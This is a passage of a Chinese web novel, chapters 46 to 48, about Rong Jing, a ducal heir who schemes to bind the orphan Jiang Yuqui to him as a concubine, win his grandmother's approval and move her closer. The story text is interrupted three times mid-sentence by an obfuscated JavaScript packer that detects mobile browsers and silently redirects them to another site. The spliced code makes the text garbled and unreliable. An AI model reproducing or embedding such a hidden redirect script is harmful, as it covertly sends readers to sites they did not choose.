说完,他不再看她脸上那复杂变幻,仿佛他给出的不是一个解释,而是一个既定的事实。 容璟转身,月白色的锦袍衣袂在寒风中带起一阵微冷的清风,留下一句听不出情绪的话。 “风大了,回去吧。” 他将那个令人心惊的质问,和他那套逻辑严密,半真半假,将保护与掌控捆绑销售的解释,一同留给了站在原地,心绪翻腾,如坠冰窟的姜于归。 他不需要她的认同,他只需要她接受这个事实。 从假山处回来,姜于归心绪难平,比去时更加沉重。 容璟那套唯有成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16896112|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为我的人,才能护你周全的说辞,像一团湿冷沉重的棉絮,死死堵在她的心口,让她呼吸都不畅快。 她反复思量,咀嚼着他每一个字,越是深想,越是觉得那根本就是彻头彻尾的歪理! 是,高门大户或许势利,但她一个安分守己的客人,只要谨言慎行,不主动招惹是非,怎么就一定会寸步难行,非要被打上私有物的烙印才能生存了? 他分明是偷换概念,将可能存在的风险无限放大,然后强行推销他唯一的,为我所有的解决方案。 这根本不是保护,这是蚕食!是温水煮青蛙!是打着为你好的旗号,行掌控之实! 更让她心底发寒的是他最后那句话。 既然开始了,便要贯彻到底。 这哪里是什么处世之道?这分明是独裁!是宣告!意味着从他在永嘉公主面前说出那句话开始,他就没打算让这件事轻易过去,他早就计划好了后续,一步步的,要将这个身份坐实。 今晚的岁岁铃,恰到好处出现又消失的丫鬟春杏,莫名跑丢又恰好被长风找到的狗,骄纵蛮横恰好路过的五小姐...... 这一连串的巧合,此刻在她脑中飞速串联起来,织成了一张细密而冰冷的网。 一股凉意从脚底直窜头顶。 她之前只觉得容璟心思深,手段厉害,此刻却清晰的意识到,他那温润如玉的君子皮囊下,藏着的是何等缜密,何等强势,何等......不达目的不罢休的本性。 他根本就不是她最初以为的那个光风霁月,重情重义的世子! 这个认知让她手脚冰凉。 可是......可是她又能如何呢? 戳穿他?质问他为何设计自己?她有什么证据?就算有证据,在这国公府里,与他撕破脸,无异于以卵击石。 她一个无依无靠的孤女,拿什么去对抗权势滔天的荣国公世子? 涌到嘴边的愤怒与质问,被她硬生生的咽了回去,化作喉间一股难以言说的苦涩。 她不能撕破脸,至少现在不能。 46. 第 46 章 她还需要他的庇护来等待林宴,还需要借助他的力量去查探案情。在救出林宴之前,在拥有自保能力之前,她只能忍。 但,这并不意味着她就要全盘接受,就要认命。 搬出去的念头,从未像此刻这般清晰和坚定。 她必须离开这里,否则,迟早有一天,她会在这张精心编织的温情的网里,被吞噬得骨头都不剩。 回到房间的姜于归蜷缩在窗前的软榻上,将脸埋入冰冷的掌心,只觉得前所未有的疲惫。 前路茫茫,她像一只被困在华丽笼中的鸟,看得见天空,却找不到出口。 容璟......你究竟,是个怎样的人?你帮我,护我,到底是为了林晏的托付,还是......另有所图? 而她不知道的是,在她心乱如麻之际,书房内的容璟,正站在窗前,望着她客院的方向,指尖无意识的摩挲着一枚温润的珍珠耳钉,眼神幽深难测。 猎网已经撒下,他不会给她太多时间挣扎了。 这种无力感,在第二日清晨被加重。 一位面容严肃,衣着体面,连头发丝都梳得一丝不苟的老嬷嬷来到了姜于归所住的客院,说是老夫人听闻五小姐说起了昨日园子里的事,想见见姜姑娘。 姜于归心下一惊,没想到会这么突然。但转念一想,便明白了——这是五小姐容欢的告状生效了。 五小姐自己动不了她,便搬出了国公府里最能压制容璟的长辈。 容欢动不了姜于归,国公府的老夫人还动不了吗? 姜于归无可奈何,只能整理好心情,压下满心的惴惴不安,跟着那位眼神锐利,不苟言笑的老嬷嬷前往老夫人的院落。 一路上,她心中飞快的盘算着,若是老夫人要为容欢出气,训斥或刁难她,她也认了。 或许,这反而是一个机会?她可以趁此机会,将容璟那强加于身的侍妾说法解释清楚,哪怕只是隐晦的暗示自己并非自愿,并非攀附,希望能凭借长辈的权威,将这份尴尬而屈辱的身份稍微松动几分。 她甚至在心里反复斟酌好了说辞,可以表现得谦卑而感恩,只说蒙世子错爱,暂居府中已是打扰,结果造成了天大的误会,心中实在惶恐不安,日夜难眠,故而恳请离去。 她试图将自己重新定位回一个需要主人宽容的,无足轻重的,并且识趣的客居者。 穿过大半个国公府,越是往里走,景致越是古朴沉静,终于到了老夫人的院子。 这里仿佛与外界的喧嚣隔绝,连空气都弥漫着一种沉淀下来的宁静,却也带着无形的威压。 跟着领路的嬷嬷进入屋内,暖意混合着浓郁的檀香扑面而来。姜于归抬眼,瞧见一位头发梳得一丝不苟,尽数银白的老妇人正端坐在临窗的暖榻上,手里拿着一串油光水亮的紫檀佛珠。她的目光清明,带着久居上位者特有的,不怒自威的审视,落在姜于归身上。 那目光并不锐利,却像深潭之水,沉静而冰冷,让姜于归感觉自己所有的心思都无所遁形。 “给老夫人请安。” 姜于归依着规矩,深深福了一礼,姿态力求不卑不亢,心中却已绷紧。 “嗯,抬起头来。” 老夫人的声音平稳,听不出丝毫喜怒,仿佛只是在确认一件物品的成色。 姜于归依言抬头,迎上那道深不见底的目光,心脏在胸腔里急促的跳动。她正准备开口,实施自己方才在路上想好的策略,试图将话题引向客居与打扰的方向,委婉的表达去意。 然而,老夫人并未给她这个机会。 她只是细细的打量着姜于归,从她身上那件过于素净,甚至显得有些寒酸的月白绫棉裙,到她未施脂粉,清秀却带着一丝难以掩饰疲惫的眉眼,再到她那双虽然努力保持平静,却依旧能看出几分不屈与灵气的眸子。 老夫人缓缓开口,语气平淡无波,听不出是褒是贬:“模样倒是齐整,性子瞧着,也不像是那等轻狂狐媚的。” 姜于归心下一紧,正想顺势说些谦逊并撇清关系的话。 “老夫人——” 不想老夫人却话锋微转,带着一种不容置疑的,一锤定音的意味:“既然璟儿开了口,说你是他房里的人,那你便安心住着,我们国公府的规矩,对自家人,从不亏待。” 这话如同一声闷雷,在她耳边炸响,瞬间敲散了她所有精心准备好的说辞。 老夫人不是来帮五小姐出气的,甚至也不关心这房里人的身份是真是假,是她情愿还是被迫。 她只是在确认一件既成事实,并在宣示主权。 在绝对的力量和规则面前,她这点小心思,小算计,如同螳臂当车,显得如此可笑,如此不堪一击。 姜于归孤身站在这里,第一次如此清晰的感受到,在这座深似海的宅门里,她个人的意愿,渺小得如同尘埃,可以被轻易的忽视,覆盖,甚至抹杀。 可即便如此,那点不甘如同微弱的火苗,仍在心底闪烁。 姜于归还是想试一试,万一......万一老夫人能听进去呢? 可是,她还没来得及组织好最恰当,最不惹怒对方的语言,方才引她进来的那个老嬷嬷便从门外悄无声息的进来,走到老夫人身边,微微俯身,低声禀报道:“老夫人,世子来了,正在外面候着。” 老夫人那着佛珠的手几不可察的微微一顿,眼中瞬间闪过一丝了然。 随即,那布满细纹的脸上竟漾开一抹极淡的,似笑非笑的神情。 她瞥了一眼下方垂首而立的姜于归,语气带着几分难得的戏谑的意味,声音不大,却足以让室内的人都听清。 “哟,这可真是稀罕。我这老婆子还没把人怎么样呢,他就这么心急火燎的跟来了?倒是没见他这般宝贝过谁。” 这话语里的意味再明显不过——容璟是因她而来。 姜于归心中刚升起的那点试图解释,试图挣脱的微弱念头,瞬间被这轻飘飘的一句话砸得粉碎,连一丝火星都不剩。 容璟的到来,出现在这里的这个行为本身,就已经说明了一切。任何的解释,在此时都显得苍白而多余。 话音刚落,容璟已从门外走了进来。 他今日穿着一身墨蓝色暗纹锦缎常服,玉冠束发,更衬得面如冠玉,气质清贵雍容。 他先是规规矩矩的,一丝不苟的向老夫人行了礼:“孙儿给祖母请安。” 姿态优雅,礼数周全,无可挑剔。 但紧接着,他便极其自然的,仿佛理所当然的走到了姜于归身侧,以一种不容置疑的,带着保护意味的姿态,与她并肩而立。 他的目光平静的看向老夫人,唇角甚至还含着一丝浅淡的,恰到好处的笑意,仿佛他只是恰好过来请安,又仿佛他此行唯一的目的,就是站在这里,立于她身旁。 老夫人将他这番作态看在眼里,脸上的笑意更深了些,不仅没有半分怪罪他冲撞,干涉之意,反而眼神里透出一种吾家孙儿终于开窍,懂得护着自己人了的欣慰。 她不再看姜于归,只笑眯眯的问容璟,语气带着长辈的慈和与好奇:“璟儿,你来得正好,祖母正想问问,你和这位姜姑娘,是怎么认识的?” 这个问题,让姜于归刚刚沉下去的心瞬间又提了起来,悬到了嗓子眼。 她紧张的等待着容璟的回答,指甲悄悄掐入掌心,生怕他再面不改色的编造出什么更惊世骇俗,更将她牢牢绑死的言论。 容璟神色不变,仿佛早已料到会有此一问,连眉梢都未曾动一下。 他微微侧首,目光在姜于归脸上极快的掠过,那眼神看似平静,却带着一丝不易察觉的,足以误导所有人的柔和,转而面向老夫人,语气平稳的开始编织一个合情合理,真假掺半的故事。 “回祖母,去岁秋日孙儿奉命出京办差,途经江南,在一处书画铺子偶遇姜姑娘,彼时听见她与人争论,说店家极力推崇的一份前朝书帖并非真迹,而是后人仿作。孙儿心下好奇,便驻足多听了几句,发现她言之有物,对笔法,气韵,纸张年代的见解都颇为独到,有理有据,令孙儿印象深刻。” 他声音清润,娓娓道来,仿佛在陈述一件真实发生的往事。随后他顿了顿,带上了一丝恰到好处的怜惜。 “后来机缘巧合,得知她家中遭遇变故,孤身一人,欲来京城投亲。孙儿念其才情品性,不忍明珠蒙尘,又顾及她一个弱质女流孤身上路,恐生不测,便邀她暂居府中,也算全了一段相识之谊,庇护之意。” 他这番说辞真假掺半,地点从清溪镇酒肆变成了江南书画铺,缘由从命之恩变成了赏识其才。既抬高了姜于归的身份,又合理化了自己带她回府的行为,更是彻底抹去了林晏存在的任何痕迹。 一番话说罢,屋内静默了片刻。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16902083|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 老夫人望向姜于归的眼里,少了几分最初的审视,多了些许真正的讶异。 她知道自己这个孙儿的眼界是何等之高,寻常的胭脂俗粉根本入不了他的眼。 能让他用言之有物,见解独到,印象深刻这些词来形容,甚至不惜亲自带回府中庇护,这在他冷漠疏离的性情中,已是破天荒的头一遭。 这足以证明,眼前这个看似素净的姜姑娘,在他心中的分量绝不一般。 而此刻,垂首站立的姜于归,心中已是波澜起伏,五味杂陈。 她一方面为容璟面不改色撒谎的本事感到心惊,另一方面,又暗暗佩服他心思之缜密。 他选择的这个书画铺初遇的场景,恰好撞在了她真正擅长且无法否认的领域,巧妙的避开了所有关于林晏的敏感话题,让她连反驳的余地都没有。 老夫人见姜于归得了这般高的评价,脸上却没有露出任何娇矜得意或慌乱的神色,依旧沉静的站在那里,更是连连点头,眼中欣喜之色愈浓。 不骄不躁,沉静如水,这在她看来是极好的品性。 老夫人满意的笑道,目光在容璟和姜于归之间流转:“好,好!相识于微时,怜惜其才品,我孙儿是有眼光的。” 随即又看向姜于归,目光比方才慈和了许多,俨然已带上了几分看待自己人的意味。 “既然璟儿如此看重你,你便安心在府里住下。往后缺什么短什么,或是下人们有伺候不周的地方,只管来回我。” 闲聊片刻后,老夫人像是忽然想起了什么,转向旁边侍立的老嬷嬷,语气随意的问道:“方才你去请姜姑娘,是从哪个院子过来的?” 那嬷嬷恭敬的回了一个院名。 而老夫人听后,那保养得宜的眉头几不可察的微微一蹙,脸上那点刚染上的暖意瞬间淡了下去,语气也沉了几分,带上了明显的不悦。 “那是府里最偏远的客院之一了,离璟儿的主院隔着好几重院落,冬日里更是阴冷。” 她的话语里已带上了对下人安排不当的不满,也隐隐有对容璟处事不周的责备。 “姜姑娘既是璟儿看重的人,怎可还安置在客房,且是那般偏远之地?这成何体统!” 一个被世子亲口承认,甚至不惜为此顶撞公主也要维护的房里人,却还被当作普通客人打发在偏远客院,这传出去,岂不是让人笑话荣国公府不懂规矩,苛待世子身边人? 姜于归心中一动,感觉这是一个绝佳的机会!她可以顺势解释,自己本就是客居,身份尴尬,住在那里非常妥当,并无任何不妥之处,甚至借此再次委婉提出离开的请求。 她深吸一口气,仿佛下定了决心,立刻开口,声音带着恰到好处的谦卑:“老夫人,其实我......” “祖母息怒。” 容璟清润的声音适时的响起,温和却带着一种不容置疑的力道,轻而易举的打断了姜于归刚到嘴边的话。 他上前一步,姿态从容不迫,脸上带着恰到好处的,介于无奈与维护之间的神色,仿佛一个体贴入微却又被误解了心意的情人。 “此事并非下人安排不当,是孙儿的疏忽,也是孙儿考虑不周,特意如此安排的。”他语速平缓,开始编织另一个合情合理的解释。 容璟自然的唤出她的名字,带着亲昵:“于归她......性子娴静,不喜喧闹,初入府时又因一些不实的流言,心中颇多不安,只想寻个清净处所避一避。 孙儿想着,那客院虽然偏远,但环境清幽,少有人打扰,正适合她静心休养,免得被府中繁杂人事惊扰,故而才暂时将她安置在那里。本是一片好意,想让她能自在些,却没想周全礼数,让祖母挂心了。 更重要的是,于归父母新丧,三年孝期未满,孙儿特意将她安置在僻静客院,以免惊扰。 孙儿虽将于归接回府中,但始终谨记人伦孝道。她身戴重孝,孙儿岂能行纳娶之实?一切礼数,自然需得等她孝期过后,再行操办。以免......玷污了她一片孝心,也损了我国公府的门风。” 容璟顿了顿,目光若有似无的扫过姜于归瞬间苍白的脸,才缓缓补充:“不过算算日子,她的孝期,恰好就在前些日子结束了。” 轻描淡写的一句话,却如惊雷炸响在姜于归耳边。 他怎么会知道得如此清楚?连她自己都未曾仔细计算过的日子! 47. 第 47 章 姜于归僵在原地,看着容璟那张温润如玉的脸,只觉得一股寒意浸透四肢。 容璟......调查过她?否则怎么会连这种私密的时间都了如指掌? 姜于归试图为这个发现寻找合理的解释,或许开始的时候,容璟怀疑她与林晏入狱有关? 毕竟她一个清溪镇民女,在林晏刚出事就找上门,确实可疑。 但很快,更多的细节涌上心头。 若只是怀疑,他为何不直接审问,反而要将她困在身边,赋予侍妾的身份?若只是怀疑,他看向她的眼神里,为何总带着那种令人心悸的专注与占有欲? 电光火石间,一个更可怕的猜测浮现在脑海 也许,根本与林晏无关。 也许,从始至终,容璟的目标就是她本人。 这个认知让姜于归浑身发冷。 她想起容璟曾要求的那个未知条件...... 无人理会陷入震惊的姜于归,老夫人闻言,还在夸赞容璟。 “原来如此!璟儿考虑得周到,恪守孝道是大事既然孝期已满,便该搬去离主院近些的住处,总住在客院不成体统。” “祖母说的是。” 容璟的目光似是无意的扫过姜于归,那眼神复杂,既有我懂你的体贴,又暗含着一种你当真要在此刻说出一切的无声警告。 姜于归接触到他的目光,到了嘴边的话猛的噎住,眼神瞬间黯淡下去,像是被抽走了所有力气。 她不能,不能在老夫人面前扯出林晏,那只会将事情弄得更糟,将林晏也拖入险境。 容璟从善如流,立刻躬身,态度诚恳:“此事确是孙儿想岔了,只顾及了她的静养,却忽略了礼数。孙儿已命人将离我主院最近的汀兰水榭收拾出来,一应物事都已齐备,本想这两日便让她搬过去,给她一个惊喜。既然祖母问起,那便待今日回去后,就即刻搬过去吧。” 汀兰水榭! 姜于归即使初来乍到,也隐约听说过这个院落。那是府中一等一的好地方,紧邻容璟的院落,景致极佳,陈设精美...... 老夫人听到汀兰水榭四个字,那着佛珠的手几不可察的微微一顿。 那是府里除了未来主母的正院外,位置,景致都数一数二的院落,紧邻容璟的主院,历来是给极为受宠的侧室或是极其尊贵的客人准备的。 给一个刚刚才在名义上确认,甚至还未正式抬身份的侍妾住? 老夫人的第一反应是:太过逾矩了。 她下意识的就想开口驳回。 一个侍妾而已,能有个单独的,离主子近些的院子已是恩典,何须动用汀兰水榭这般规格? 这若是传出去,将来正头娘子进门,该如何自处?岂不是一开始就助长了这姜氏的气焰,埋下祸患? 然而,她抬眼,看向自己这个孙儿。 容璟站在那里,身姿挺拔,神色平静,甚至带着一丝晚辈的恭顺。但那眼神深处,是她熟悉的,一旦做出决定便不容置疑的坚决,是一种隐在温润表皮下的,冰冷的掌控力。 她想起那些传闻,容璟为了这女子,不惜当众顶撞永嘉公主,甚至可能因此打乱了在朝堂上的某些布局。 这在他素来冷静克制,权衡利弊的行事中,是极其罕见的。 罢了。 老夫人在心底轻轻叹了口气,瞬间权衡了利弊。 到底是自己一手带大的孙儿,他性子冷清,这么多年,何曾对哪个女子如此上心,如此维护过?这姜氏,虽身份低微,但瞧着还算懂规矩,沉得住气,又有那么点难得的才气,能让他这般破例,想必是真合了他的眼缘。 既是他如此在意的第一个人,纵容些便纵容些吧。 一个院落而已,只要不闹出格,给了也就给了,总好过他一直那般不近人情,让人忧心。 至于将来......老夫人垂下眼帘,心中已有计较。 等容璟日后娶了门当户对,贤良淑德的正妻,自然要搬入主院。 届时在寻个由头,让这姜氏从汀兰水榭搬出来,体面的安置到别处也就是了。 现在,何必为了这点小事,拂了他的意,伤了祖孙和气。 转瞬之间,这些念头已在她心中过了一遍。 老夫人脸上并未显露分毫,对着容璟淡淡颔首,语气带着一丝不容置疑的定论。 “汀兰水榭......嗯,那里景致是好,也清净。你既已安排妥当,便尽快搬过去吧,总住在客院,确实不成体统。” 这话,便是最终拍板了。 她默许了容璟这超规格的安置,以及对孙儿难得的纵容。 容璟恭声应下,眼底深处闪过一丝计划得逞的淡漠流光:“是,孙儿遵命。” 姜于归站在一旁,将所有到了嘴边的话都咽了回去,心底一片冰凉。 又一次。 她解释的机会,她试图划清界限的努力,就这样被容璟轻描淡写的截断,覆盖,重新定义。 他从头到尾,都没有给她任何申述自身意愿的机会。 在他完美的说辞和无形的压力下,她的客居变成了需要静养,她的偏远变成了体贴的保护,而最终,她的暂住,也即将变成被他安排得明明白白的迁居,从一个偏僻的牢笼,换到一个更华美,离他更近的金丝雀笼。 她像一颗棋子,被他稳稳的拿起,放在了棋盘上他早已选定的,更核心的位置,连一丝挣扎反抗的余地都没有。 听着容璟与老夫人三言两语间,便定下了她的新住处,姜于归只觉得一股深深的,浸入骨髓的无力感攫住了全身。 她像一个彻头彻尾的局外人,听着别人安排自己的命运,决定自己的归属,却连插一句话,表达一个不字的资格都没有。 姜于归只能死死的垂着眼,盯着自己的裙摆,将所有翻涌的愤怒和绝望死死的压在心底。 而这番沉默顺从,逆来顺受的姿态,落在老夫人眼中,却成了稳重,识大体,不骄不躁的明证。 老夫人越看越觉得满意。 这姑娘,得了这般超规格的厚待,脸上却不见半分得意与轻狂,依旧沉静如水。比起那些稍有依仗便眼高于顶,张狂跋扈的轻浮女子,不知强了多少倍。 璟儿的眼光,确实不错。 心中那点因容璟逾矩安排而产生的不快也消散殆尽,当目光再次落到姜于归那身虽整洁,却实在不算出挑,甚至显得有些朴素的衣裙上时,便带上了真切的关怀与一丝对孙子的埋怨。 老夫人语气带着长辈的嗔怪:“璟儿,不是祖母说你,你既将人接进了府里,怎的对姑娘家的事情如此不上心?” 姜于归心下微涩,这些衣服其实都是当初容璟所赠,她正是因为觉得其款式颜色足够低调,不会过分华丽惹眼,才肯收下的。 老夫人说着,拉过姜于归的手,轻轻拍了拍。 她的话语是对容璟说的,眼神却慈和的看着姜于归,仿佛在安抚一件受了委屈的珍宝:“瞧瞧这衣衫,料子虽不差,可这颜色,这花样,也太过素净了些。年轻姑娘家,正是该穿得鲜亮明媚的时候,整日这般清清冷冷的像什么话?不知道的,还以为我们国公府苛待了你,连身像样的衣裳都舍不得给你做。” 随即转头又对容璟吩咐道,语气带着不容置疑:“既然住处定了,这衣衫头面也得赶紧置办起来。年里年外,各家走动也多,总不能失了咱们国公府的体面。回头就让霓裳阁的人进府来,好好给姜姑娘量体裁几身时新的衣裳,再挑些配套的首饰。这些事,你一个男人家粗心,交给下头人办,总要有个章程,你需得多上心盯着些。” 容璟站在一旁,神色平静无波,仿佛老夫人的提议正在他意料之中,甚至可能本就是他计划中的一环。 而姜于归的手被老夫人那干燥温暖却带着不容抗拒力道的手握着,心中却是一片冰冷的绝望。 容璟面对祖母的责怪,从善如流的躬身,语气温和而顺从,带着恰到好处的惭愧:“祖母教训的是,是孙儿疏忽了,考虑不周。霓裳阁的事,孙儿会亲自过问,定不会委屈了她。” 他的语气如此自然,如此理所当然,仿佛这只是一件再寻常不过的,为自家所有物添置行头的家事安排。 姜于归张了张嘴,想说不必麻烦,想说我衣服够穿,想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906239|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说我受不起如此厚待,却发现任何推拒的言辞,在此刻都显得那么苍白无力,甚至可能被解读为不识抬举,引来更多的关注与说服。 她看着容璟那双看似平静,实则深不见底,仿佛能吞噬一切反抗意识的眼眸,忽然清晰的意识到,或许,从他当初贴心的送出那第一件不起眼的,符合客居身份的衣服开始,就在等待着这一刻。 等待着长辈发现不合规矩,等待着一个更名正言顺的理由,来将她从头到脚,从里到外,彻底的包装成他容璟的所有物。 他说着,目光再次落在姜于归身上,那眼神平静无波,却仿佛在无声的宣告。 看,连祖母都发话了,这是为了国公府的体面。你还有拒绝的余地吗?你还能拒绝吗? 姜于归闭上眼,在心中无力的,绝望的叹了口气。 如今,国公府的老夫人金口一开,体面二字压下来,再加上之前街头对峙永嘉公主,府内震慑容欢,直到现在被彻底坐实的名分...... 一切便都显得顺理成章,水到渠成。 现在再为她添置更华美,更符合他容璟世子身边人身份的衣饰,便不再是突兀的赠予,而是遵循长辈之命,维护国公府体面的分内之事。 姜于归再也没有理由,也找不到任何立场来拒绝了。 容璟的每一步,都走得精准,耐心,且算计深远。 他就像最顶尖的猎手,从不急于求成,只是不断的,悄无声息的收紧包围圈,修正猎物的行为,切断所有退路,直到她完全走入他预设的轨道,再也无法挣脱。 他看着身旁低眉顺目,仿佛已经认命的姜于归,知道她此刻心中定有惊涛骇浪,有无奈,有不甘,或许还有对他的憎恶。 但这都不重要了。 重要的是,从名分到居所,再到即将焕然一新的衣着打扮,她正在被他一点点的,彻底的打上属于他容璟的烙印。 这,仅仅是个开始。 “眼下快过年了,府里事务多,各家走动也多。你身边既添了人,届时也让姜姑娘出来走动走动,见见人,总不好一直藏着掖着。”老夫人最后吩咐道,已然将姜于归纳入了国公府年节活动的规划中。 容璟闻言,从善如流的躬身,语气恭顺:“孙儿谨遵祖母吩咐。” 他目的已然全部达到,便不再多留,又说了几句关心祖母身体,请祖母保重的贴心话,便带着心神恍惚,如同提线木偶般的姜于归告退了出来。 走出老夫人那暖香萦绕,却令人窒息的屋子,姜于归才觉得胸口那口憋了许久的浊气稍稍散了些,但心头的沉重与冰冷,却丝毫未减,反而因为这外面的自由空气,而显得更加清晰刺骨。 她沉默的跟在容璟身后,看着他挺拔如松,仿佛能扛起一切的背影,在曲折回廊间不疾不徐的走着。 他的步伐沉稳,背影从容,仿佛刚才在老夫人面前那番颠倒黑白,掌控全局的安排,不过是他日常中拂去袖口的一点微尘,不值一提。 容璟没有询问她的意见,也没有将她送回那个即将告别偏远客院,而是径直将她带向了他的主院方向。 越靠近那里,沿途遇见的丫鬟仆役越少,周遭也愈发寂静,只余下两人一前一后,清晰可闻的脚步声,一声声,沉重的敲在姜于归紧绷欲断的心弦上。 踏入主院的书房,厚重的门在她身后被无声的合上,彻底隔绝了外面的一切声响与目光。 书房内燃着冷冽的檀香,书籍卷宗整齐有序,处处彰显着主人的严谨与掌控力。 这不是姜于归第一次来,但每一次,那种无形的,无所不在的威压感都让她感到窒息。 容璟走到紫檀木书案后,并未立刻坐下,只是随手拿起案头一枚温润如玉的青玉镇纸,在修长的指间漫不经心的把玩着,目光却落在窗外枯寂的,在寒风中微微颤抖的枝桠上,仿佛在欣赏一幅与自己无关的冬景。 这彻底的,令人心慌的寂静,终于压垮了姜于归强撑的镇定。 她抬起眼,看向那个背光而立,身影笼罩在淡淡阴影里的男人,声音因强自压抑着翻涌的情绪而带着细微的,无法控制的颤音:“为什么?” 48. 第 48 章 她问,目光里没有愤怒,只有浓得化不开的困惑,与一种近乎荒诞的,深不见底的无助。 “刚才在老夫人那里......你明明可以解释......解释这一切根本不是她以为的那样。为什么你不说?你不觉得,从那个根本不存在的江南初遇,到我莫名其妙成了你房里的人,再到刚才......所有的一切,都荒唐得可笑吗?” 容璟缓缓转过身,手中的青玉镇纸在他指尖停住。玉石温润的光泽,与他此刻眼底的幽深冰冷形成鲜明对比。 他没有回答她的质问,窗外稀薄的日光透过窗棂,在他俊美的脸上投下明暗交织的阴影,让他看起来更像一尊没有感情的神像,或是一个......魔鬼。 容璟盯着她,目光像淬了冰的探针,直直刺过来,读取她所有隐藏的心思。 他微微偏头,语调没有任何起伏,声音低沉而平稳,却带着一种残忍的精准,直接刺向了她最敏感的痛点。 “你如此急着想要划清界限,甚至不惜在祖母面前试图撇清......是怕林宴出来之后,知道你与我之间的事,便再也......不肯要你了,是吗?” 这话像一把早已准备好的,冰冷而锋利的匕首,猝不及防的,精准狠辣的刺入了姜于归最不愿触碰,最鲜血淋漓的角落。 然而,出乎容璟的意料,姜于归并未出现他预想中的那般慌乱,紧张或是羞愤欲绝。 她只是纤长的睫毛剧烈的颤抖了一下,脸上浮现出一种近乎认命的,带着浓浓疲惫的平静,声音很轻,轻得像是在陈述一个与自己无关的,早已看清的事实。 “不,不是因为他。” 姜于归顿了顿,像是终于卸下了某个沉重的包袱,未曾设防,带着一丝解脱般的,却更令人心碎的疲惫,低声道:“我早就知道......我和他,本就不可能。” 这种反应,完全出乎了容璟的意料。他预想中的否认,辩解或是痛苦都没有出现,只有一种近乎哀莫大于心死的平静。 他向前几步,绕过宽大的书案,靠近姜于归。 他身量很高,投下的阴影几乎将她完全笼罩,带着强烈的压迫感。 容璟垂眸,审视着姜于归微微颓废,却依旧挺直的身姿,语气听不出丝毫波澜,继续用他冰冷的逻辑进行推测:“哦?为何如此笃定?这般悲观?他若真心待你,纵使有门第之见,以他的性情,纳你为妾,也并非绝无可能。” “我不做妾。” 姜于归抬起头,清晰无比的说道,每个字都像是从胸腔里用力挤出来,带着孤注一掷的,不容置疑的决绝。 她的眼眸之中没有任何痴心妄想的光芒,也没有怨天尤人的哀戚,只有一种近乎执拗的,来自灵魂深处的,对自己人格独立与尊严的坚守。 不是欲擒故纵,也并非好高骛远。姜于归所坚守的,是一种与这个时代,与这个环境格格不入的,关于自身人格绝对独立,绝不与人分享配偶的信念。这是从她灵魂深处迸发出的,不容置疑的宣言。 书房内霎时间静得可怕,连空气都仿佛停止了流动,只剩下彼此压抑的呼吸声。 容璟深邃的眼底,清晰的闪过一抹讶异,随即就被更浓的,翻涌的幽暗所取代。 奇异的是,他并没有因为姜于归这个在世人看来有些不识抬举,甚至是大逆不道的发言而动怒,那线条优美的唇角,反而几不可察的勾起一抹极淡,却真实存在的弧度。 一种前所未有的,近乎颤栗的兴奋感,如同电流般瞬间窜过容璟的四肢百骸! 就是这种眼神!就是这份宁折不弯的,近乎天真的倔强! 容璟的心底仿佛被什么东西重重的,欢喜的撞了一下,随即涌起的是一种确认般的狂喜。 眼前这个女子,一次次打破他的预期,她聪慧却不卖弄,坚韧却不卑劣,身处逆境却依旧死死守护着内心那片不容任何人,以任何形式侵犯的领地。 不愧是他看中的灵魂!不愧是他认定可以与他并肩,填补他生命中所有空白与冰冷的唯一人选! 这股强烈到让他自己都有些陌生的悸动与确认,混合着早已根植于心的,病态的掌控欲,促使他故意用一种近乎残忍的平静,抛出了那个在他心中盘旋已久,却在此刻显得格外不合时宜的问题。 他声音低沉,目光如最精准的钩子,紧紧锁住她清澈却疲惫的眸子,不放过任何一丝情绪变化。 “你展现出来的所有不情愿,你所有的挣扎与抗拒,归根结底,是不是因为......我现在给你的,仅仅只是一个侍妾的身份?” 此话一出口,连容璟自己都有一瞬间的凝滞。 他明明......已经开始在意她,甚至在心里给了她灵魂伴侣的至高位置,为何现在出口的,仍是这般带着衡量与试探的,近乎羞辱的,将一切都物化标价的言辞? 他不知道自己为什么会这样说,仿佛只有用这种他最熟悉的,最擅长的方式,才能掩盖住内心因确认了她独一无二的价值而翻涌起的,陌生的,汹涌的波澜。 他像是在用最笨拙,最扭曲的方式,去确认一件稀世珍宝的真伪,并试图为其贴上属于自己的价签。 容璟甚至不受控制的,向前迫近一步,将那更深层,更惊人的念头,带着一种自己也感到吃惊的冲动,说出了口。 “如果......” 他顿了顿,仿佛要确认这几个字带来的石破天惊的效果,目光深深看入她眼底,试图从中找到一丝他预想中的动摇,惊喜或是贪婪。 “如果,我给你的,远不止于此呢?” 这句话脱口而出的瞬间,连容璟自己都有一瞬的怔忪。 那深埋于偏执土壤下的种子,竟不受控制的破土而出,冲垮了他引以为傲的理智堤坝。 